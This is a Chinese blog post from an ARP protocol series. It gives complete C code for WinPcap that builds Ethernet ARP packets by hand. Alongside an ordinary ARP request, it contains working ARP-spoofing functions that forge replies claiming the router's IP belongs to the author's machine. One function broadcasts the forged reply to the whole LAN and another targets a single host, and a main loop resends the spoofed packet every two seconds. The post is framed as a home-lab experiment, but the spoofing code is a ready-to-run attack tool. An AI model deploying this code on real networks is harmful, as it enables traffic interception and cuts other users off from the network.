ARP的具体实现方式,我在《ARP协议(1)什么是ARP协议》已有说明:
/* 功能: src_mac 向局域网广播:target_ip 192.168.1.111 的 mac 是多少 */ int Text1(Arp *arp) { u_char dest_mac[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};// 广播 u_char src_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};// 源mac地址 F0-7B-CB-A3-15-85 u_char sender_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; // 发送端mac F0-7B-CB-A3-15-85 u_char sender_ip[4] = {0xC0,0xA8,0x01,0x65}; //发送端IP地址 192.168.1.101 u_char target_mac[6] = {0x00,0x00,0x00,0x00,0x00,0x00}; // 因为不知道mac,所以mac为空 u_char target_ip[4] = {0xC0,0xA8,0x01,0x6F}; // 目的端ip 192.168.1.111; if(PacketArpRequest(arp,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip) == -1) { printf("Packet arp request error\n"); return -1; } return 0; }
/* 实验的主机 xxh_mac: xxh机器的mac xxh_ip: xxh机器的ip route_mac: 路由器的mac route_ip: 路由器的ip mobile_mac: 手机的mac mobile_ip: 手机的ip broadcast: 广播地址 xl_mac: xl机器的mac xl_ip: xl机器的ip */ u_char xxh_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; u_char xxh_ip[4] = {0xC0,0xA8,0x00,0x68}; u_char route_mac[6] = {0x80,0x89,0x17,0xCF,0xE6,0x6E}; u_char route_ip[4] = {0xC0,0xA8,0x00,0x01}; u_char mobile_mac[6] = {0x78,0xA8,0x73,0x82,0xBE,0xA4}; u_char mobile_ip[4] = {0xC0,0xA8,0x00,0x66}; u_char broadcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; u_char xl_mac[6] = {0x00,0x21,0x00,0x29,0x75,0x04}; u_char xl_ip[4] = {0xC0,0xA8,0x00,0x6C};//192.168.0.108
/* 欺骗主机xl 只告诉xl这台机器,route_ip的Mac是xxh_mac */ int Text3(Arp *arp) { //broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip if(PacketArpReplay(arp,xl_mac,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1) { printf("Packet arp request error\n"); return -1; } return 0; }
<span style="font-size:14px;">#if 0 #include <stdlib.h> #include <stdio.h> // pcap_findalldevs_ex #define HAVE_REMOTE #include <pcap.h> /* 实验的主机 xxh_mac: xxh机器的mac xxh_ip: xxh机器的ip route_mac: 路由器的mac route_ip: 路由器的ip mobile_mac: 手机的mac mobile_ip: 手机的ip broadcast: 广播地址 xl_mac: xl机器的mac xl_ip: xl机器的ip */ u_char xxh_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; u_char xxh_ip[4] = {0xC0,0xA8,0x00,0x68}; u_char route_mac[6] = {0x80,0x89,0x17,0xCF,0xE6,0x6E}; u_char route_ip[4] = {0xC0,0xA8,0x00,0x01}; u_char mobile_mac[6] = {0x78,0xA8,0x73,0x82,0xBE,0xA4}; u_char mobile_ip[4] = {0xC0,0xA8,0x00,0x66}; u_char broadcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; u_char xl_mac[6] = {0x00,0x21,0x00,0x29,0x75,0x04}; u_char xl_ip[4] = {0xC0,0xA8,0x00,0x6C};//192.168.0.108 // 以太网的首部 typedef struct EthHead { u_char dest_mac[6]; // 以太网的目的地址 u_char src_mac[6]; // 以太网的源地址 u_char type[2]; // 帧类型 ARP:0x0806 }EthHead; // ARP数据包 typedef struct ArpMsg { u_char mac_type[2]; // 硬件类型 以太网: 1 u_char protocal_type[2]; // 协议类型 IP地址:0x0800 u_char mac_len; // 硬件地址长度 6 u_char protocal_len; // 协议地址长度 4 u_char op[2]; // 操作字段 ARP请求:1 ARP应答:2 RARP请求:3 RARP应答:4 u_char sender_mac[6]; // 发送端以太网地址 u_char sender_ip[4]; // 发送端IP地址 u_char target_mac[6]; // 目的以太网地址 u_char target_ip[4]; // 目的IP地址 }ArpMsg; // 以太网ARP typedef struct Arp { EthHead eth_head; ArpMsg arpmsg; }Arp; /* 函数名: PacketArp 功 能: 封装ARP包 参 数: arp_req : Arp类型,出参 op : 操作字段 ARP请求:1 ARP响应:2 RARP请求:3 RARP相应:4 dest_mac : 以太网目的地址 src_mac : 以太网源地址 sender_mac:发送端以太网地址 sender_ip : 发送端IP地址 target_mac: 目的以太网地址 target_ip : 目的IP地址 返 回: 0正确,-1错误 */ int PacketArp(Arp *arp_req, u_char op, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6], u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4]) { if(arp_req == NULL) return -1; memcpy(arp_req->eth_head.dest_mac, dest_mac, 6); memcpy(arp_req->eth_head.src_mac, src_mac, 6); arp_req->eth_head.type[0] = 0x08; arp_req->eth_head.type[1] = 0x06; //arp_req->eth_head.type = htons(arp_req->eth_head.type); arp_req->arpmsg.mac_type[0] = 0x00; arp_req->arpmsg.mac_type[1] = 0x01; arp_req->arpmsg.protocal_type[0] = 0x08; arp_req->arpmsg.protocal_type[1] = 0x00; arp_req->arpmsg.mac_len = 0x06; arp_req->arpmsg.protocal_len = 0x04; arp_req->arpmsg.op[0] = 0x00; arp_req->arpmsg.op[1] = op; memcpy(arp_req->arpmsg.sender_mac, sender_mac, 6); memcpy(arp_req->arpmsg.sender_ip, sender_ip, 4); memcpy(arp_req->arpmsg.target_mac, target_mac, 6); memcpy(arp_req->arpmsg.target_ip, target_ip, 4); return 0; } // ARP 请求包 int PacketArpRequest(Arp *arp_req, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6], u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4]) { return PacketArp(arp_req,0x01,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip); } // ARP 响应包 int PacketArpReplay(Arp *arp_req, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6], u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4]) { return PacketArp(arp_req,0x02,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip); } // 打开网络适配器 pcap_if_t* choose_interface() { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; char errbuf[PCAP_ERRBUF_SIZE]; /* Retrieve the device list on the local machine */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* Print the list */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return NULL; } printf("Enter the interface number (1-%d):",i); scanf_s("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return NULL; } /* Jump to the selected adapter */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); return d; } /* xxh(192.168.0.104) 广播: 192.168.0.102 的MAC是多少 结果:arp -a 没有结果 */ int Text1(Arp *arp) { u_char dest_mac[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; u_char src_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; u_char sender_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; u_char sender_ip[4] = {0xC0,0xA8,0x00,0x68}; //发送端IP地址 192.168.0.104 u_char target_mac[6] = {0x00,0x00,0x00,0x00,0x00,0x00}; u_char target_ip[4] = {0xC0,0xA8,0x00,0x66}; //192.168.0.102; if(PacketArpRequest(arp,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip) == -1) { printf("Packet arp request error\n"); return -1; } return 0; } /* 全网欺骗 广播 route_ip 的Mac是 xxh_mac 导致除xxh机器外, 结果:所有的机器都上了了网络 */ int Text2(Arp *arp) { //broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip if(PacketArpReplay(arp,broadcast,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1) { printf("Packet arp request error\n"); return -1; } return 0; } /* 欺骗xl 只告诉xl这台机器,route_ip的Mac是xxh_mac 结果:所有的机器都上了了网络 */ int Text3(Arp *arp) { //broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip if(PacketArpReplay(arp,xl_mac,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1) { printf("Packet arp request error\n"); return -1; } return 0; } void main(int argc, char **argv) { pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; u_char packet[42]; int i; pcap_if_t *d = choose_interface(); if(d == NULL) { exit(1); } char *source = d->name; /* Open the output device */ if ( (fp= pcap_open(source, // name of the device 100, // portion of the packet to capture (only the first 100 bytes) PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]); return; } Arp arp; if(Text3(&arp) == -1) { return ; } memcpy(packet, (void*)&arp, 42); /* Send down the packet */ while(1) { if (pcap_sendpacket(fp, packet, 42 /* size */) != 0) { fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp)); return; } printf("sleep(2000)\n"); Sleep(2000); } return; } #endif</span><span style="font-size: 14px;"> </span>
版权声明:本文为博主原创文章,未经博主允许不得转载。
原文地址:http://blog.csdn.net/xiongxianhe/article/details/46874121